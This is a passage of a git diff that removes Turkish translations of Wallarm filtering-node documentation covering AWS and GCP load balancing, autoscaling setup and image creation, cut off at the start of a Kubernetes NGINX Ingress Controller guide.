../../../admin-en/uat-checklist-en.md#node-registers-attacks - -[link-aws-lb-comparison]: https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/what-is-load-balancing.html?icmpid=docs_elbv2_console#elb-features - -[img-lb-basics]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-1.png -[img-lb-routing]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-3.png -[img-checking-operation]: ../../../images/admin-guides/test-attacks-quickstart.png - -[anchor-create]: #1-creating-a-load-balancer -[anchor-configure]: #2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - -# AWS üzerinde Yük Dengeleyici Oluşturma - -Artık [yapılandırılmış][link-doc-asg-guide] bir filtreleme düğümü Auto Scaling Group’una sahip olduğunuza göre, Auto Scaling Group içindeki birden çok filtreleme düğümü arasında gelen HTTP ve HTTPS bağlantılarını dağıtan bir Yük Dengeleyici oluşturup yapılandırmanız gerekir. - -Yük Dengeleyici oluşturma süreci aşağıdaki adımları içerir: -1. [Yük Dengeleyici Oluşturma][anchor-create] -2. [Oluşturulan Dengeleyiciyi Kullanmak Üzere Auto Scaling Group Yapılandırma][anchor-configure] - - -## 1. Bir Yük Dengeleyici Oluşturma - -Amazon bulutunda aşağıdaki Yük Dengeleyici türlerini yapılandırabilirsiniz: -* Classic Load Balancer -* Network Load Balancer -* Application Load Balancer - -!!! info "Yük Dengeleyiciler arasındaki farklar" - Yük Dengeleyiciler arasındaki farklara ilişkin ayrıntılı bilgi için bu [bağlantıya][link-aws-lb-comparison] gidin. - -Bu belge, OSI/ISO ağ modelinin taşıma katmanında trafiği dağıtan Network Load Balancer’ın nasıl yapılandırılıp kullanılacağını göstermektedir. - -Aşağıdaki adımları izleyerek bir Yük Dengeleyici oluşturun: -1. Amazon EC2 panosunda **Load Balancers** sekmesine gidin ve **Create Load Balancer** düğmesine tıklayın. - -2. İlgili **Create** düğmesine tıklayarak bir Network Load Balancer oluşturun. - -3. Temel Yük Dengeleyici parametrelerini yapılandırın: - - ![Genel Yük Dengeleyici parametrelerinin yapılandırılması][img-lb-basics] - - 1. Dengeleyicinin adı (**Name** parametresi). - - 2. Dengeleyici türü (**Scheme** parametresi). Dengeleyicinin internette erişilebilir olması için **internet-facing** türünü seçin. - - 3. **Listeners** parametre grubunu kullanarak dengeleyicinin dinleyeceği bağlantı noktalarını belirtin. - - 4. Dengeleyicinin çalışacağı gerekli VPC ve Availability Zones değerlerini belirtin. - - !!! info "Auto Scaling Group uygunluğunu kontrol edin" - Yük dengeleyicinin düzgün çalışabilmesi için, [daha önce oluşturduğunuz][link-doc-asg-guide] Auto Scaling Group’u içeren VPC ve Availability Zones değerlerini seçtiğinizden emin olun. - -4. **Next: Configure Security Settings** düğmesine tıklayarak bir sonraki adıma geçin. - - Gerekirse güvenlik parametrelerini yapılandırın. - -5. **Next: Configure Routing** düğmesine tıklayarak sonraki adıma devam edin. - - Gelen isteklerin Auto Scaling Group içindeki filtreleme düğümlerine yönlendirilmesini yapılandırın. - - ![Gelen bağlantıların yönlendirilmesinin yapılandırılması][img-lb-routing] - - 1. Yeni bir hedef grubu oluşturun ve adını **Name** alanında belirtin. Yük Dengeleyici, gelen istekleri belirtilen hedef grupta yer alan örneklere yönlendirecektir (ör. `demo-target`). - - 2. İstek yönlendirmede kullanılacak protokol ve bağlantı noktasını yapılandırın. - - Filtreleme düğümü için TCP protokolünü ve 80 ile 443 (HTTPS trafiğiniz varsa) bağlantı noktalarını belirtin. - - 3. Gerekirse **Health Checks** parametre grubunu kullanarak sağlık kontrollerini yapılandırın. - -6. **Next: Register Targets** düğmesine tıklayarak bir sonraki adıma geçin. - - Bu adımda herhangi bir işlem yapmanız gerekmez. - -7. **Next: Review** düğmesine tıklayarak bir sonraki adıma geçin. - - Tüm parametrelerin doğru belirtildiğinden emin olun ve **Create** düğmesine tıklayarak Yük Dengeleyici oluşturma işlemini başlatın. - -!!! info "Yük Dengeleyici başlatılana kadar bekleyin" - Yük Dengeleyici oluşturulduktan sonra, trafiği almaya hazır hale gelmesi için bir süre geçmesi gerekir. - - -## 2. Oluşturulan dengeleyiciyi kullanmak üzere bir Auto Scaling Group yapılandırma - -Auto Scaling Group’unuzu, daha önce oluşturduğunuz Yük Dengeleyiciyi kullanacak şekilde yapılandırın. Bu, dengeleyicinin grupta başlatılan filtreleme düğümü örneklerine trafiği yönlendirmesine olanak tanır. - -Bunu yapmak için aşağıdaki adımları izleyin: -1. Amazon EC2 panosunda **Auto Scaling Groups** sekmesine gidin ve [daha önce oluşturduğunuz][link-doc-asg-guide] Auto Scaling Group’u seçin. - -2. **Actions** açılır menüsünden *Edit* öğesini seçerek grup yapılandırması düzenleme iletişim kutusunu açın. - -3. **Target groups** açılır listesinden, Yük Dengeleyiciyi kurarken [oluşturduğunuz][anchor-create] **demo-target** hedef grubunu seçin. - -4. **Save** düğmesine tıklayarak değişiklikleri uygulayın. - -Artık dinamik olarak ölçeklenen Wallarm filtreleme düğümleri kümesi, uygulamanıza gelen trafiği işleyecektir. - -Dağıtılan filtreleme düğümlerinin çalışmasını kontrol etmek için aşağıdaki adımları uygulayın: - -1. Tarayıcıyı kullanarak dengeleyicinin IP adresine veya alan adına başvurarak uygulamanıza Load Balancer ve Wallarm filtreleme düğümleri üzerinden erişilebildiğinden emin olun. - -2. [Test saldırısı gerçekleştirerek][link-docs-check-operation] Wallarm servislerinin uygulamanızı koruduğundan emin olun. - -![Filtreleme düğümünün çalışmasının kontrol edilmesi][img-checking-operation] \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/latest-tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 58969d64fd..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1,26 +0,0 @@ -[link-doc-image-creation]: create-image.md -[link-doc-template-creation]: creating-instance-template.md -[link-doc-managed-autoscaling-group]: creating-autoscaling-group.md -[link-doc-lb-guide]: load-balancing-guide.md - -# Google Cloud Platform üzerinde filtreleme düğümü otomatik ölçeklendirmesini ayarlama: Genel Bakış - -Varsa trafik dalgalanmalarını karşılayabilmesini sağlamak için Google Cloud Platform (GCP) üzerinde Wallarm filtreleme düğümü için otomatik ölçeklendirmeyi ayarlayabilirsiniz. Otomatik ölçeklendirmeyi etkinleştirmek, trafik önemli ölçüde arttığında bile gelen isteklerin filtreleme düğümleri kullanılarak işlenmesini sağlar. - -!!! warning "Önkoşullar" - Otomatik ölçeklendirmeyi ayarlamak, Wallarm filtreleme düğümüne sahip sanal makinenin imajını gerektirir. - - GCP üzerinde Wallarm filtreleme düğümü bulunan sanal makinenin imajını oluşturma hakkında ayrıntılı bilgi için bu [bağlantıya][link-doc-image-creation] gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -Google Cloud Platform üzerinde filtreleme düğümlerini otomatik olarak ölçeklendirmek için aşağıdaki adımları uygulayın: - -1. [Bir Machine Image oluşturun](create-image.md) -1. Filtreleme düğümü otomatik ölçeklendirmesini ayarlayın: - 1. [Bir filtreleme düğümü instance template’i oluşturun][link-doc-template-creation]; - 2. [Otomatik ölçeklendirme etkin olan yönetilen bir managed instance group oluşturun][link-doc-managed-autoscaling-group]; -1. [Gelen isteklerin yük dengelemesini ayarlayın][link-doc-lb-guide]. - -!!! info "Gerekli yetkiler" - Otomatik ölçeklendirmeyi ayarlamadan önce, GCP hesabınızın `Compute Admin` rolüne sahip olduğundan emin olun. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/google-cloud/create-image.md b/docs/latest-tr/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index 8297d41db5..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1,76 +0,0 @@ -[link-docs-gcp-autoscaling]: autoscaling-overview.md -[link-docs-gcp-node-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md#6-configure-sending-traffic-to-the-wallarm-instance -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks - -[img-vm-instance-poweroff]: ../../../images/installation-gcp/auto-scaling/common/create-image/vm-poweroff.png -[img-create-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/create-image.png -[img-check-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/image-list.png - -[anchor-node]: #1-creating-and-configuring-the-filtering-node-instance-on-the-google-cloud-platform -[anchor-gcp]: #2-creating-a-virtual-machine-image - -# Google Cloud Platform üzerinde Wallarm filtreleme düğümü içeren bir imaj oluşturma - -Google Cloud Platform (GCP) üzerinde dağıtılan Wallarm filtreleme düğümlerinin otomatik ölçeklendirmesini ayarlamak için önce sanal makine imajlarına ihtiyacınız vardır. Bu belge, Wallarm filtreleme düğümü yüklü sanal makinenin imajını hazırlama prosedürünü açıklar. Otomatik ölçeklendirmeyi ayarlama hakkında ayrıntılı bilgi için bu [bağlantıya][link-docs-gcp-autoscaling] gidin. - -GCP üzerinde Wallarm filtreleme düğümü içeren bir imaj oluşturmak için aşağıdaki prosedürleri uygulayın: -1. [Google Cloud Platform üzerinde filtreleme düğümü örneğini oluşturma ve yapılandırma][anchor-node]. -2. [Yapılandırılmış filtreleme düğümü örneği temelinde bir sanal makine imajı oluşturma][anchor-gcp]. - -## 1. Google Cloud Platform üzerinde filtreleme düğümü örneğini oluşturma ve yapılandırma - -Bir imaj oluşturmadan önce, tek bir Wallarm filtreleme düğümünün ilk yapılandırmasını gerçekleştirmeniz gerekir. Bir filtreleme düğümünü yapılandırmak için aşağıdakileri yapın: -1. GCP üzerinde bir filtreleme düğümü örneğini [oluşturup yapılandırın][link-docs-gcp-node-setup]. - - !!! warning "Filtreleme düğümüne internet bağlantısı sağlayın" - Filtreleme düğümünün düzgün çalışması için bir Wallarm API sunucusuna erişmesi gerekir. Wallarm API sunucusunun seçimi, kullandığınız Wallarm Cloud'a bağlıdır: - - * US Cloud kullanıyorsanız, düğümünüze `https://us1.api.wallarm.com` erişimi verilmelidir. - * EU Cloud kullanıyorsanız, düğümünüze `https://api.wallarm.com` erişimi verilmelidir. - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -2. Filtreleme düğümünü Wallarm Cloud'a [bağlayın][link-cloud-connect-guide]. - - !!! warning "Wallarm Cloud'a bağlanmak için bir token kullanın" - Filtreleme düğümünü Wallarm cloud'a bir token kullanarak bağlamanız gerektiğini lütfen unutmayın. Birden fazla filtreleme düğümünün aynı token'ı kullanarak Wallarm cloud'a bağlanmasına izin verilir. - - Böylece, otomatik ölçeklendirme sırasında her bir filtreleme düğümünü Wallarm Cloud'a manuel olarak bağlamanıza gerek kalmayacaktır. - -3. Filtreleme düğümünü, uygulamalarınız ve API'leriniz için bir ters proxy olarak çalışacak şekilde [yapılandırın][link-docs-reverse-proxy-setup]. - -4. Filtreleme düğümünün doğru şekilde yapılandırıldığından ve uygulamalarınızı ile API'lerinizi kötü amaçlı isteklere karşı koruduğundan [emin olun][link-docs-check-operation]. - -Filtreleme düğümünün yapılandırmasını tamamladıktan sonra, aşağıdaki adımları uygulayarak sanal makineyi kapatın: -1. Menüdeki **Compute Engine** bölümünde **VM Instances** sayfasına gidin. -2. **Connect** sütununun sağındaki menü düğmesine tıklayarak açılır menüyü açın. -3. Açılır menüden **Stop** seçeneğini belirleyin. - -![Sanal makineyi kapatma][img-vm-instance-poweroff] - -!!! info "`poweroff` komutunu kullanarak kapatma" - Sanal makineye SSH protokolü ile bağlanıp aşağıdaki komutu çalıştırarak da sanal makineyi kapatabilirsiniz: - - ``` bash - poweroff - ``` - -## 2. Sanal makine imajı oluşturma - -Artık yapılandırılmış filtreleme düğümü örneği temelinde bir sanal makine imajı oluşturabilirsiniz. Bir imaj oluşturmak için aşağıdaki adımları uygulayın: -1. Menüdeki **Compute Engine** bölümünde **Images** sayfasına gidin ve **Create image** düğmesine tıklayın. -2. **Name** alanına imaj adını girin. -3. **Source** açılır listesinden **Disk** öğesini seçin. -4. **Source disk** açılır listesinden [daha önce oluşturduğunuz][anchor-node] sanal makine örneğinin adını seçin. - - ![Bir imaj oluşturma][img-create-image] - -5. Sanal makine imajı oluşturma sürecini başlatmak için **Create** düğmesine tıklayın. - -İmaj oluşturma süreci tamamlandığında, kullanılabilir imajların listesini içeren bir sayfaya yönlendirilirsiniz. İmajın başarıyla oluşturulduğundan ve listede yer aldığından emin olun. - -![İmaj listesi][img-check-image] - -Artık hazırladığınız imajı kullanarak Google Cloud Platform üzerinde Wallarm filtreleme düğümlerinin [otomatik ölçeklendirmesini yapılandırabilirsiniz][link-docs-gcp-autoscaling]. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index 86ef70ad8c..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1,63 +0,0 @@ -[img-creating-instance-group]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-group.png -[img-create-instance-group-example]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-scalable-instance-group.png -[img-checking-nodes-operation]: ../../../images/cloud-node-status.png - -[link-cpu-usage-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing -[link-http-load-balancing-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing#scaling_based_on_https_load_balancing_serving_capacity -[link-stackdriver-monitoring-metric-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-stackdriver-monitoring-metrics -[link-multiple-metrics-policy]: https://cloud.google.com/compute/docs/autoscaler/multiple-policies -[link-creating-load-balancer]: load-balancing-guide.md - -# Otomatik ölçekleme etkin bir yönetilen instance grubu oluşturma - -Yönetilen bir instance grubu oluşturmak ve otomatik ölçeklemesini yapılandırmak için şu adımları izleyin: - -1. Menüdeki **Compute Engine** bölümünde **Instance groups** sayfasına gidin ve **Create instance group** düğmesine tıklayın. - - ![Bir instance grubu oluşturma][img-creating-instance-group] - -2. **Name** alanına instance grubu adını girin. - -3. **Group type** ayarında **Managed instance group** öğesini seçin. - -4. **Autoscaling** açılır listesinden **On** seçeneğini seçerek instance grubu için otomatik ölçeklemeyi etkinleştirin. - -5. **Autoscaling policy** açılır listesinden gerekli ölçekleme politikasını seçin. - - Ölçekleme politikaları, instance grubunun boyutunu artırma ve azaltma kurallarını içerir. Sistem, politikanın dayandığı metriği kullanıcının tanımladığı hedef düzeyde tutmak için gruba ne zaman instance ekleyip çıkaracağını belirler. - - Aşağıdaki politikalardan birini seçebilirsiniz: - - 1. CPU Usage: Grubun boyutu, gruptaki sanal makinelerin ortalama işlemci yükünü gerekli düzeyde tutacak şekilde kontrol edilir ([CPU usage politika dokümantasyonu][link-cpu-usage-policy]). - 2. HTTP Load Balancing Usage: Grubun boyutu, HTTP trafik dengeleyicisinin yükünü gerekli düzeyde tutacak şekilde kontrol edilir ([HTTP load balancing kullanım politikası dokümantasyonu][link-http-load-balancing-policy]). - 3. Stackdriver Monitoring Metric: Grubun boyutu, Stackdriver Monitoring aracından seçilen metriği gerekli düzeyde tutacak şekilde kontrol edilir ([Stackdriver Monitoring Metric politika dokümantasyonu][link-stackdriver-monitoring-metric-policy]). - 4. Multiple Metrics: Grubun boyutunu değiştirme kararı birden fazla metriğe göre verilir ([multiple metrics politika dokümantasyonu][link-multiple-metrics-policy]). - - Bu kılavuz, otomatik ölçekleme mekanizmasının çalışma prensiplerini göstermek için **CPU usage** politikasını kullanır. - - Bu politikayı uygulamak için, **Target CPU usage** alanında gerekli ortalama işlemci yük düzeyini (yüzde olarak) belirtin. - - !!! info "Örnek" - Aşağıdaki yapılandırma, ortalama sanal makine işlemci yükünü yüzde 60 düzeyinde tutmak için instance grubunun boyutunun nasıl kontrol edildiğini açıklar. - ![Örnek: bir instance grubu oluşturma][img-create-instance-group-example] - -6. **Minimum number of instances** alanına minimum instance grubu boyutunu belirtin (örneğin, iki instance). - -7. **Maximum number of instances** alanına maksimum instance grubu boyutunu belirtin (örneğin, 10 instance). - -8. Yeni eklenen instancetan metrik değerlerinin kaydedilmemesi gereken süreyi **Cool down period** alanında belirtin (örneğin, 60 saniye). Yeni bir instance ekledikten sonra kaynak tüketiminde sıçramalar görürseniz bu gerekli olabilir. - - !!! info "Soğuma süresi gereksinimleri" - Cooldown süresi, instancenın başlatılması için gereken süreden daha uzun olmalıdır. - -9. Instance grubunun tüm parametrelerinin doğru yapılandırıldığından emin olun ve ardından **Create** düğmesine tıklayın. - -Otomatik ölçekleme grubu başarıyla oluşturulduğunda belirtilen sayıda instance otomatik olarak başlatılacaktır. - -Otomatik ölçekleme grubunun doğru oluşturulduğunu, grupta başlatılan instance sayısını görüntüleyerek ve bu veri noktasını Wallarm Cloud’a bağlı filtreleme düğümlerinin sayısıyla karşılaştırarak kontrol edebilirsiniz. - -Bunu Wallarm Console üzerinden yapabilirsiniz. Örneğin, filtreleme düğümlerine sahip iki instance eşzamanlı çalışıyorsa, Wallarm Console ilgili Wallarm node’u için **Nodes** bölümünde bu sayıyı gösterecektir. - -![Wallarm web arayüzünde **Nodes** düğümler sekmesi][img-checking-nodes-operation] - -Artık [bir yük dengeleyici oluşturma ve yapılandırma][link-creating-load-balancer] işlemine devam edebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index 4518a74a15..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1,36 +0,0 @@ -# GCP üzerinde filtreleme düğümü için instance şablonu oluşturma - -[img-creating-template]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-template.png -[img-selecting-image]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/select-image.png - -[link-creating-image]: create-image.md -[link-creating-instance-group]: creating-autoscaling-group.md - -Filtreleme düğümü instance şablonu, yönetilen bir instance grubu oluşturulurken temel olarak kullanılacaktır. Filtreleme düğümü instance şablonu oluşturmak için aşağıdakileri uygulayın: - -1. Menünün **Compute Engine** bölümündeki **Instance templates** sayfasına gidin ve **Create instance template** düğmesine tıklayın. - - ![Instance şablonu oluşturma][img-creating-template] - -2. **Name** alanına şablon adını girin. -3. **Machine type** alanından filtreleme düğümü ile başlatılacak sanal makine için kullanılacak sanal makine türünü seçin. - - !!! warning "Uygun instance türünü seçin" - Filtreleme düğümünü ilk yapılandırırken kullandığınızla aynı instance türünü (veya daha güçlü birini) seçin. - - Daha az güçlü bir instance türü kullanmak, filtreleme düğümünün çalışmasında sorunlara yol açabilir. - -4. **Boot disk** ayarında **Change** düğmesine tıklayın. Açılan pencerede **Custom images** sekmesine gidin ve **Show images from** açılır listesinden sanal makine imajınızı oluşturduğunuz projenin adını seçin. Projenin mevcut imajları listesinden [önceden oluşturulan imajı][link-creating-image] seçin ve **Select** düğmesine tıklayın. - - ![Bir imaj seçme][img-selecting-image] - -5. Bu şablona dayalı instance'ların temel instance ile aynı olması için, kalan tüm parametreleri temel instance'ınızı [oluştururken][link-creating-image] parametreleri nasıl yapılandırdıysanız aynı şekilde yapılandırın. - - !!! info "Güvenlik duvarını yapılandırma" - Güvenlik duvarının oluşturulan şablona yönelik HTTP trafiğini engellemediğinden emin olun. HTTP trafiğini etkinleştirmek için **Allow HTTP traffic** onay kutusunu seçin. - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -6. **Create** düğmesine tıklayın ve şablon oluşturma işlemi tamamlanana kadar bekleyin. - -Instance şablonunu oluşturduktan sonra, otomatik ölçeklendirme etkinleştirilmiş olarak [yönetilen bir instance grubu oluşturma][link-creating-instance-group] adımına geçebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/latest-tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 75fd97041d..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1,124 +0,0 @@ -[link-doc-asg-guide]: creating-autoscaling-group.md -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md -[link-lb-comparison]: https://cloud.google.com/load-balancing/docs/load-balancing-overview -[link-creating-instance-group]: creating-autoscaling-group.md -[link-backup-resource]: https://cloud.google.com/load-balancing/docs/target-pools#backupPool -[link-health-check]: https://cloud.google.com/load-balancing/docs/health-checks -[link-session-affinity]: https://cloud.google.com/load-balancing/docs/target-pools#sessionaffinity -[link-test-attack]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks -[link-network-service-tier]: https://cloud.google.com/network-tiers/docs/ - -[img-backend-configuration]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/backend-configuration.png -[img-creating-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-load-balancer.png -[img-creating-tcp-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-tcp-load-balancer.png -[img-new-frontend-ip-and-port]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/frontend-configuration.png -[img-checking-attacks]: ../../../images/admin-guides/test-attacks-quickstart.png - - -# GCP üzerinde gelen isteklerin yük dengelenmesini yapılandırma - -Otomatik ölçekleme etkinleştirilmiş [yapılandırılmış][link-doc-asg-guide] bir managed instance group'a sahip olduğunuza göre, gelen HTTP ve HTTPS bağlantılarını instance group içindeki birden fazla filtreleme düğümü arasında dağıtan bir Load Balancer oluşturup yapılandırmanız gerekir. - -Google Cloud Platform üzerinde şu Load Balancer türlerini yapılandırabilirsiniz: -* HTTP(S) Load Balancer -* TCP Load Balancer -* UDP Load Balancer - -!!! info "Load Balancer'lar arasındaki farklar" - Load Balancer'lar arasındaki farklar hakkında ayrıntılı bilgi için bu [bağlantıya][link-lb-comparison] gidin. - -Bu doküman, OSI/ISO ağ modelinin taşıma katmanında trafiği dağıtan TCP Load Balancer'ın nasıl yapılandırılıp kullanılacağını göstermektedir. - -Instance group'unuz için bir TCP Load Balancer'ı aşağıdaki adımları tamamlayarak oluşturun: - -1. Menünün **Network services** bölümündeki **Load balancing** sayfasına gidin ve **Create load balancer** düğmesine tıklayın. - -2. **TCP load balancing** kartında **Start configuration** düğmesine tıklayın. - -3. Aşağıdaki ayarlarda gerekli seçenekleri seçin: - - 1. Yük dengeleyicinin istemcilerden sunucunuza gelen istekleri kontrol etmesi için, **Internet facing or internal only** ayarında **From Internet to my VMs** seçeneğini seçin. - - 2. **Multiple regions or single region** ayarında **Single region only** seçeneğini seçin. - - !!! info "Farklı bölgelerde bulunan kaynaklar için trafik dengeleme" - Bu rehber, tek bir bölgede bulunan bir instance group için yük dengeleyici yapılandırmasını açıklamaktadır. - - Birden fazla bölgede bulunan birkaç kaynak için trafiği dengelemeniz gerekiyorsa **Multiple regions (or not sure yet)** seçeneğini seçin. - - ![Bir yük dengeleyici oluşturma][img-creating-lb] - - **Continue** düğmesine tıklayın. - -4. **Name** alanına yük dengeleyicinin adını girin. - -5. [Oluşturduğunuz instance group'u][link-creating-instance-group] backend olarak kullanmak için **Backend configuration**'a tıklayın; yük dengeleyici gelen istekleri buna yönlendirecektir. - -6. Formu aşağıdaki verilerle doldurun: - - 1. **Region** açılır listesinden instance group'un bulunduğu bölgeyi seçin. - - 2. **Backends** ayarında **Select existing instance groups** sekmesine gidin ve **Add an instance group** açılır listesinden instance group'un adını seçin. - - 3. Gerekirse, **Backup Pool** açılır listesinden **Create a backup pool** seçeneğini seçerek yedek havuzu (backup pool) belirtin. - - !!! info "Yedek havuz kullanımı" - Seçtiğiniz instance group kullanılamadığında istekleri bir yedek havuz işler. Yedek havuz yapılandırması hakkında ayrıntılı bilgi için bu [bağlantıya][link-backup-resource] gidin. - - Bu doküman yedek havuz yapılandırmasını açıklamaz. - - 4. Gerekirse, **Health check** açılır listesinden **Create a health check** seçeneğini belirleyerek grup instance'larının kullanılabilirlik denetimini yapılandırın. Makine kullanılabilirlik denetimi hakkında ayrıntılı bilgi için bu [bağlantıya][link-health-check] gidin. - - !!! info "Kullanılabilirlik denetimi" - Bu dokümanın kapsamı dahilinde kullanılabilirlik denetimi yapılandırılmamıştır. Bu nedenle burada **Health check** açılır listesinde **No health check** seçeneği seçilmiştir. - - 5. Gerekirse, **Session affinity** açılır listesinden ilgili seçeneği seçerek isteği işleyecek instance'ı seçme yöntemini yapılandırın. İstek işleme için instance seçimi hakkında ayrıntılı bilgi bu [bağlantıda][link-session-affinity] mevcuttur. - - !!! info "Bir instance seçme yönteminin yapılandırılması" - İsteği işleyecek instance'ı seçme yöntemi bu dokümanın kapsamı dışındadır. Bu nedenle burada **Session affinity** açılır listesinde **None** seçeneği seçilmiştir. - - ![Backend yapılandırma][img-backend-configuration] - -7. İstemcilerin isteklerini göndereceği IP adreslerini ve portları belirtmek için **Frontend configuration** düğmesine tıklayın. - -8. Yeni IP adresleri ve portların oluşturulmasına yönelik formu gerekli verilerle doldurun: - - 1. Gerekirse, yeni IP adresi ve port çiftinin adını **Name** alanına girin. - - 2. **Network Service Tier** ayarında gerekli ağ hizmet katmanını seçin. Ağ hizmet katmanları hakkında ayrıntılı bilgi için bu [bağlantıya][link-network-service-tier] gidin; - - 3. Yük dengeleyicinin istek alacağı IP adresini **IP** açılır listesinden seçin. - - 1. Yük dengeleyicinin her sanal makine başlatılışında yeni bir IP adresi almasını istiyorsanız **Ephemeral** seçeneğini seçin. - - 2. Yük dengeleyiciniz için statik bir IP adresi oluşturmak üzere **Create IP address** seçeneğini seçin. - - Açılan formda yeni IP adresinin adını **Name** alanına girin ve **Reserve** düğmesine tıklayın. - - 4. **Port** alanına yük dengeleyicinin istek alacağı portu girin. - - !!! info "Port seçimi" - Bu dokümanda, HTTP protokolü üzerinden istek almak için `80` portu belirtilmiştir. - - ![Yeni frontend IP ve port oluşturma formu][img-new-frontend-ip-and-port] - - Yapılandırılan IP adresi ve port çiftini oluşturmak için **Done** düğmesine tıklayın. - - !!! info "Gerekli frontend portları" - Bu dokümanda dengeleyici, HTTP protokolü üzerinden istek alacak şekilde yapılandırılmıştır. Instance group'unuz HTTPS protokolü üzerinden istek alıyorsa, `443` portunu belirten ek bir IP adresi ve port çifti oluşturun. - -9. **Create** düğmesine tıklayarak yapılandırılan yük dengeleyiciyi oluşturun. - - ![TCP yük dengeleyici oluşturma][img-creating-tcp-lb] - -Yük dengeleyici oluşturma işlemi tamamlanana ve yük dengeleyici daha önce oluşturduğunuz instance group'a bağlanana kadar bekleyin. - -Oluşturulan TCP dengeleyici Backend service kullandığından (instance group'unuz için oluşturulan backend ile birlikte çalışır), dengeleyicinin bağlanabilmesi için instance group üzerinde herhangi bir yapılandırma değişikliği gerekmez. - -Artık dinamik olarak ölçeklenen Wallarm filtreleme düğümleri kümesi, uygulamanıza gelen trafiği işleyecektir. - -Dağıtılan filtreleme düğümlerinin çalışmasını kontrol etmek için aşağıdaki adımları uygulayın: -1. Tarayıcınızla dengeleyicinin IP adresine veya alan adına giderek, uygulamanızın yük dengeleyici ve Wallarm filtreleme düğümleri üzerinden erişilebilir olduğundan emin olun. -2. [Test saldırısı gerçekleştirerek][link-test-attack] Wallarm servislerinin uygulamanızı koruduğundan emin olun. - -![Wallarm web arayüzündeki «Events» sekmesi][img-checking-attacks] \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-kubernetes-en.md b/docs/latest-tr/admin-en/installation-kubernetes-en.md deleted file mode 100644 index 96f9df04a2..0000000000 --- a/docs/latest-tr/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,383 +0,0 @@ -# Entegre Wallarm Servisleri ile NGINX Ingress Controller Dağıtımı - -Bu talimatlar, Wallarm NGINX tabanlı Ingress controller'ını K8s kümenize dağıtmanız için gereken adımları sağlar. Çözüm, Wallarm Helm chart’ından dağıtılır. - -Çözüm, entegre Wallarm servisleri ile [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) üzerine inşa edilmiştir. En son sürüm, NGINX stable 1.25.5 ile Community Ingress NGINX Controller 1.11.8’i, upstream Helm chart 4.11.8’i ve temel imaj olarak Alpine Linux 3.22.0’ı kullanır. - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -Aşağıdaki mimariye sahiptir: - -![Çözüm mimarisi][nginx-ing-image] - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri][deployment-platform-docs] arasında, bu çözüm aşağıdaki kullanım senaryoları için önerilir: - -* [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) ile uyumlu Ingress kaynaklarına trafiği yönlendiren bir Ingress controller'ınız ve güvenlik katmanınız yok. -* Hâlihazırda Community Ingress NGINX Controller kullanıyor ve hem standart controller işlevselliğini hem de gelişmiş güvenlik özelliklerini sunan bir güvenlik çözümü arıyorsunuz. Bu durumda, bu talimatta detaylandırılan 